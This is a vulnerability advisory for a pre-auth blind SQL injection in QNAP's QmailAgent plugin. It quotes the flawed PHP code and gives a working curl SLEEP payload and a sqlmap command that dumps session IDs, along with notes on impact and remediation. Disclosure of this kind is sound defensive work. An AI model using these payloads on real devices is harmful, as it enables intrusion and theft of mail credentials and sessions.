QNAP QmailAgent: Pre-Auth Time-Based Blind SQL Injection
Summary
The QmailAgent plugin for QNAP QTS exposes a backup_restore task that is reachable without authentication. Its get_job action reads _job_id from request parameters and interpolates it directly into a SQL query through $this->db->escape(), which only escapes single quotes while the value is interpolated unquoted. The result is a clean time-based blind SQL injection against the roundcube database.
The roundcube DB user has full privileges over the schema, so the impact includes inbox contact addresses, IMAP and SMTP credentials (3DES-encrypted), and live session rows whose vars contain qmailhub_qts_nas_sid, a NAS_SID that may be replayable elsewhere on QTS for full session takeover, depending on session handling.
Affected Product
| Field | Value |
|---|---|
| Device | QNAP TS-453E |
| Firmware | QTS 5.2.7.3297 |
| Plugin | QmailAgent v3.4.7.2428 |
| Vendor | QNAP Systems, Inc. |
CVSS v3.1: 8.6 (High) · AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N. Scope changes because the leaked session.vars rows include a qmailhub_qts_nas_sid value usable beyond QmailAgent’s own session scope.
Root Cause
QmailAgent’s backup_restore plugin registers get_job as an action callable via the plugin task router:
public function init()
{
$this->add_texts('localization/', false);
$this->register_task('backup_restore');
$this->register_action('get_job', array($this, 'get_job_ajax'));
}
The handler reads _job_id from GPC and forwards it untyped:
public function get_job_ajax()
{
$job_id = rcube_utils::get_input_value('_job_id', rcube_utils::INPUT_GPC);
if (!$job_id) {
$this->api_output(self::STATUS_INVALID_PARAM);
}
$job = $this->get_job($job_id);
if (!$job) {
$this->api_output(self::STATUS_JOB_NOT_EXIST);
}
}
get_job() builds the injection sink:
public function get_job($id = null)
{
if (!$id) {
return false;
}
// db->escape() only escapes single quotes; $id is interpolated unquoted,
// so any non-quote SQL syntax (operators, subqueries, SLEEP()) passes through.
$where_condition = " AND B.id = {$this->db->escape($id)}";
$query = $this->get_jobs_sql_query($where_condition);
$sql_result = $this->db->query($query);
if (!$sql_result) {
return false;
}
return $this->db->fetch_assoc($sql_result);
}
get_jobs_sql_query() simply substitutes that fragment:
private function get_jobs_sql_query($where_condition = '')
{
return "SELECT A.*, B.*, Q.*, S.store_path, S.real_path"
. " FROM backup_jobs AS B"
. " INNER JOIN qmailhub_account AS A ON B.account_id = A.account_id"
. " INNER JOIN qmailhub_qts AS Q ON A.qts_id = Q.qts_id"
. " INNER JOIN qmailhub_store AS S ON B.store_id = S.store_id"
. " WHERE B.del = 0 AND A.del = 0 {$where_condition}";
}
Because the _job_id value is not wrapped in quotes inside the WHERE clause, db->escape() has nothing to escape; single-quote escaping is irrelevant. Anything that doesn’t contain a ' reaches MariaDB unmodified, which is more than enough for AND (SELECT 1 FROM (SELECT SLEEP(N))a)-style time-based extraction.
The route itself has no authentication gate: the entire backup_restore task is callable pre-auth.
Proof of Concept
Minimal sleep PoC
NAS_IP=192.168.1.1
curl --path-as-is -i -s -k \
-X GET \
-H "Host: ${NAS_IP}:8080" \
-H "X-Requested-With: XMLHttpRequest" \
-H "User-Agent: Mozilla/5.0" \
-H "Referer: http://${NAS_IP}:8080/qmail/?_task=mail&_mbox=INBOX" \
-b "roundcube_sessid=ddaf0a0dbc84190b5da0d38710b2401c" \
"http://${NAS_IP}:8080/qmail/?_task=backup_restore&_action=get_job&_job_id=1+AND+(SELECT+1+FROM+(SELECT+SLEEP(8))a)"
A measurable ~8-second response delay confirms the injection. The roundcube_sessid cookie is not required for the vulnerable endpoint; it is included only to look like a normal client.
sqlmap
Save the request as request.txt and run sqlmap directly against it:
sqlmap -r ./request.txt --dbms=MariaDB -D roundcube -T session -C sess_id --dump
Detection output:
Parameter: _job_id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: _task=backup_restore&_action=get_job&_job_id=1 AND (SELECT 4121 FROM (SELECT(SLEEP(5)))gfhS)
Impact: what’s in the database
The roundcube DB user has full privileges on the roundcube schema:
Grants for roundcube@localhost
GRANT USAGE ON *.* TO 'roundcube'@'localhost' IDENTIFIED BY PASSWORD '*F..5'
GRANT ALL PRIVILEGES ON `roundcube`.* TO 'roundcube'@'localhost'
Notable tables:
contacts: sender/recipient email addresses from received mail.qmailhub_account:email,imap_username,imap_password(3DES-encrypted),smtp_username,smtp_password(3DES-encrypted).session: active session rows. Thevarscolumn contains a serialized PHP map; for QmailAgent-bridged sessions it includesqmailhub_qts_nas_sid, for example:language|s:5:"en_US";skin|s:5:"qmail";qts_api_port|s:5:"58080"; firmware_version|s:5:"5.2.7";qmailhub_qts_nas_sid|s:8:"uxxxxxxx";Whether
NAS_SIDvalues lifted here are replayable against QTS itself depends on QTS session handling at the time of attack, but they are a credible pivot path beyond QmailAgent.
Remediation
- Replace dynamic SQL construction with parameterized queries (placeholders, bound values).
db->escape()is not a substitute for parameterization, particularly for non-string values. - Enforce strict type validation on
_job_id(cast tointat the boundary; reject anything that doesn’t round-trip). - Require authentication for
backup_restoretask endpoints, and add a server-side authorization check that the requesting user owns the job ID before returning data.
Disclosure Timeline
- 2026-05-17: Published
Related
- The QNAP Pattern: Architectural background and platform-level critique of the bug class behind this advisory, including the duct-tape pattern that lands this kind of bug in QNAP-added code rather than upstream Roundcube.